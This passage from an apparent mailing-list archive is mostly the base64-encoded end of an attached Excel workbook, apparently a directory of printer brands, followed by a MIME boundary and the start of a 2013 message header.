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 AKAAAAAR8AAAAABdACYAFQASAAgABAARYAAAAABgv3gEAAAAAAcAAgD//wgAAgAAAAAAAAA+AhIA vgEAAAAAQAAAADwAAAAAAAAAQQAKAAAABwARAEAAAgAdAA8AAwAAAAAAAAEAAAAAAAAAHQAPAAIA AAAAAAABAAAAAAAAAJkAAgAkCeUACgABAB0AIAACAAIA7wAGAB8ANwAAAAoAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAMAAAAEAAAABQAAAAYAAAD+//// CAAAAP7///////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////7/AAAGAQIAAAAAAAAAAAAAAAAAAAAAAAEAAADg hZ/y+U9oEKuRCAArJ7PZMAAAAGQBAAASAAAAAQAAAJgAAAACAAAAoAAAAAMAAACsAAAABAAAALgA AAAFAAAAxAAAAAYAAADQAAAABwAAANwAAAAIAAAA6AAAAAkAAAD8AAAAEgAAAAgBAAAKAAAAFAEA AAsAAAAgAQAADAAAACwBAAANAAAAOAEAAA4AAABEAQAADwAAAEwBAAAQAAAAVAEAABMAAABcAQAA AgAAAKgDAAAeAAAABAAAAAAAAAAeAAAABAAAAAAAAAAeAAAABAAAAHJnYgAeAAAABAAAAAAAAAAe AAAABAAAAAAAAAAeAAAABAAAAAAAAAAeAAAADAAAAFNreTEyMy5PcmcAAB4AAAAEAAAAAAAAAB4A AAAEAAAAAAAAAEAAAAAAwAypqTVPAUAAAAAAORa7QQXLAUAAAAAAbMlEvKPJAUAAAAAAOGeZIXbO AQMAAAAAAAAAAwAAAAAAAAADAAAAAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAP7/AwoAAP////8gCAIAAAAAAMAAAAAAAABGHgAAAE1pY3Jv c29mdCBPZmZpY2UgRXhjZWwguaTX97HtAAYABQBEAG8AYwB1AG0AZQBuAHQAUwB1AG0AbQBhAHIA eQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAADgAAgD///////////////8AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADSAgAAlBAAAAAAAAABAEMAbwBtAHAATwBiAGoA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAP////// /////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAABqAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEJpZmY4AA4AAABFeGNlbC5TaGVldC44APQ5snEA AAAAAAAAAAAAAAAAAA8AAADUAAAABAAAAOAAAAAFAAAA6AAAAAYAAADwAAAABwAAAPgAAAAIAAAA AAEAAAkAAAAIAQAACgAAABABAAARAAAAGAEAABcAAAAgAQAACwAAACgBAAAQAAAAMAEAABMAAAA4 AQAAFgAAAEABAAANAAAASAEAAAwAAAD6AQAAAgAAAKgDAAAeAAAABAAAAAAAAAAeAAAABAAAAAAA AAAeAAAABAAAAAAAAAAeAAAABAAAAAAAAAADAAAAAAAAAAMAAAAAAAAAAwAAAAAAAAADAAAAAAAA AAMAAAAAAAAAAwAAAAAAAAADAAAAAAAAAAMAAAAAAAAAAwAAAA8nCwALAAAAAAAAAAsAAAAAAAAA CwAAAAAAAAALAAAAAAAAAB4QAAAQAAAABQAAAEhvbWUACAAAAFNhbXN1bmcAAwAAAEhQAAYAAABY ZXJveAAEAAAAT0tJAAgAAABLeW9jZXJhAAgAAABNaW5vbHRhAAYAAABTaGFycAAGAAAARXBzb24A CAAAAExleG1hcmsABQAAAERlbGwADgAAAERldmVsb3AgaW5lbyAABgAAAFJpY29oAAYAAABDYW5v bgAIAAAAVG9zaGliYQAFAAAAVXRheAAMEAAAAgAAAB4AAAAHAAAAuaTX97HtAAMAAAAQAAAAAAAA NA4AAAQAAAAAAAAAKAAAAAEAAABbAAAAAgAAAGMAAAADAAAAGw4AAAIAAAACAAAADAAAAF9QSURf SExJTktTAAMAAAATAAAAS1NPUHJvZHVjdEJ1aWxkVmVyAAIAAACoAwAAQQAAALANAAAOAQAAAwAA ADUAbQADAAAADgAAAAMAAAAAAAAAAwAAAAYAAAAfAAAAAQAAAAAAGAAfAAAACAAAAFUAdABhAHgA IQBBADEAAAADAAAAbgB1AAMAAAANAAAAAwAAAAAAAAADAAAABgAAAB8AAAABAAAAAAAYAB8AAAAL AAAAVABvAHMAaABpAGIAYQAhAEEAMQAAAAAAAwAAAAIAHgADAAAADAAAAAMAAAAAAAAAAwAAAAYA AAAfAAAAAQAAAAAAGAAfAAAACQAAAEMAYQBuAG8AbgAhAEEAMQAAAAAAAwAAABgAFgADAAAACwAA AAMAAAAAAAAAAwAAAAYAAAAfAAAAAQAAAAAAGAAfAAAACQAAAFIAaQBjAG8AaAAhAEEAMQAAAAAA AwAAAC8AMgADAAAACgAAAAMAAAAAAAAAAwAAAAYAAAAfAAAAAQAAAAAAGAAfAAAAEwAAACcARABl AHYAZQBsAG8AcAAgAGkAbgBlAG8AIAAnACEAQQAxAAAAAAADAAAAKQBoAAMAAAAJAAAAAwAAAAAA AAADAAAABgAAAB8AAAABAAAAAAAYAB8AAAAIAAAARABlAGwAbAAhAEEAMQAAAAMAAAB/AGoAAwAA AAgAAAADAAAAAAAAAAMAAAAGAAAAHwAAAAEAAAAAABgAHwAAAAsAAABMAGUAeABtAGEAcgBrACEA QQAxAAAAAAADAAAAGQAPAAMAAAAHAAAAAwAAAAAAAAADAAAABgAAAB8AAAABAAAAAAAYAB8AAAAJ AAAARQBwAHMAbwBuACEAQQAxAAAAAAADAAAAAwAKAAMAAAAGAAAAAwAAAAAAAAADAAAABgAAAB8A AAABAAAAAAAYAB8AAAAJAAAAUwBoAGEAcgBwACEAQQAxAAAAAAADAAAAbwBiAAMAAAAFAAAAAwAA AAAAAAADAAAABgAAAB8AAAABAAAAAAAYAB8AAAALAAAATQBpAG4AbwBsAHQAYQAhAEEAMQAAAAAA AwAAAGEAeAADAAAABAAAAAMAAAAAAAAAAwAAAAYAAAAfAAAAAQAAAAAAGAAfAAAACwAAAEsAeQBv AGMAZQByAGEAIQBBADEAAAAAAAMAAABnAHsAAwAAAAMAAAADAAAAAAAAAAMAAAAGAAAAHwAAAAEA AAAAABgAHwAAAAcAAABPAEsASQAhAEEAMQAAAAAAAwAAABMAGgADAAAAAgAAAAMAAAAAAAAAAwAA AAYAAAAfAAAAAQAAAAAAGAAfAAAACQAAAFgAZQByAG8AeAAhAEEAMQAAAAAAAwAAAEkAEQADAAAA AQAAAAMAAAAAAAAAAwAAAAYAAAAfAAAAAQAAAAAAGAAfAAAABgAAAEgAUAAhAEEAMQAAAAMAAABt AGwAAwAAAAAAAAADAAAAAAAAAAMAAAAGAAAAHwAAAAEAAAAAABgAHwAAAAsAAABTAGEAbQBzAHUA bgBnACEAQQAxAAAAAAADAAAAAgAaAAMAAAD/////AwAAAAIIAAADAAAABAAAAB8AAAABAAAAAAAY AB8AAAANAAAARABpAHIAZQBjAHQAbwByAHkAIQBBADEAAAAAAAMAAAACABoAAwAAAP////8DAAAA AQgAAAMAAAAEAAAAHwAAAAEAAAAAABgAHwAAAA0AAABEAGkAcgBlAGMAdABvAHIAeQAhAEEAMQAA AAAAAwAAAAIAGgADAAAA/////wMAAAACDAAAAwAAAAQAAAAfAAAAAQAAAAAAGAAfAAAADQAAAEQA aQByAGUAYwB0AG8AcgB5ACEAQQAxAAAAAAADAAAAAgAaAAMAAAD/////AwAAAAEMAAADAAAABAAA AB8AAAABAAAAAAAYAB8AAAANAAAARABpAHIAZQBjAHQAbwByAHkAIQBBADEAAAAAAAMAAAACABoA AwAAAP////8DAAAABBAAAAMAAAAEAAAAHwAAAAEAAAAAABgAHwAAAA0AAABEAGkAcgBlAGMAdABv AHIAeQAhAEEAMQAAAAAAAwAAAAIAGgADAAAA/////wMAAAACEAAAAwAAAAQAAAAfAAAAAQAAAAAA GAAfAAAADQAAAEQAaQByAGUAYwB0AG8AcgB5ACEAQQAxAAAAAAADAAAAAgAaAAMAAAD/////AwAA AAMUAAADAAAABAAAAB8AAAABAAAAAAAYAB8AAAANAAAARABpAHIAZQBjAHQAbwByAHkAIQBBADEA AAAAAAMAAAACABoAAwAAAP////8DAAAAAhQAAAMAAAAEAAAAHwAAAAEAAAAAABgAHwAAAA0AAABE AGkAcgBlAGMAdABvAHIAeQAhAEEAMQAAAAAAAwAAAAIAGgADAAAA/////wMAAAACGAAAAwAAAAQA AAAfAAAAAQAAAAAAGAAfAAAADQAAAEQAaQByAGUAYwB0AG8AcgB5ACEAQQAxAAAAAAADAAAAAgAa AAMAAAD/////AwAAAAEYAAADAAAABAAAAB8AAAABAAAAAAAYAB8AAAANAAAARABpAHIAZQBjAHQA bwByAHkAIQBBADEAAAAAAAMAAAACABoAAwAAAP////8DAAAAAhwAAAMAAAAEAAAAHwAAAAEAAAAA ABgAHwAAAA0AAABEAGkAcgBlAGMAdABvAHIAeQAhAEEAMQAAAAAAAwAAAAIAGgADAAAA/////wMA AAABHAAAAwAAAAQAAAAfAAAAAQAAAAAAGAAfAAAADQAAAEQAaQByAGUAYwB0AG8AcgB5ACEAQQAx AAAAAAADAAAAAgAaAAMAAAD/////AwAAAAIgAAADAAAABAAAAB8AAAABAAAAAAAYAB8AAAANAAAA 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 AgAaAAMAAAD/////AwAAAAJIAAADAAAABAAAAB8AAAABAAAAAAAYAB8AAAANAAAARABpAHIAZQBj AHQAbwByAHkAIQBBADEAAAAAAB4AAAAQAAAAMjA1Mi04LjEuMC4zMDM1AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA --dSLUjqmhGF2r4y4o7P4LQdiTUb3=_nGLH8-- From stan@hardwarefreak.com Sun Jul 14 02:06:47 2013 Return-Path: 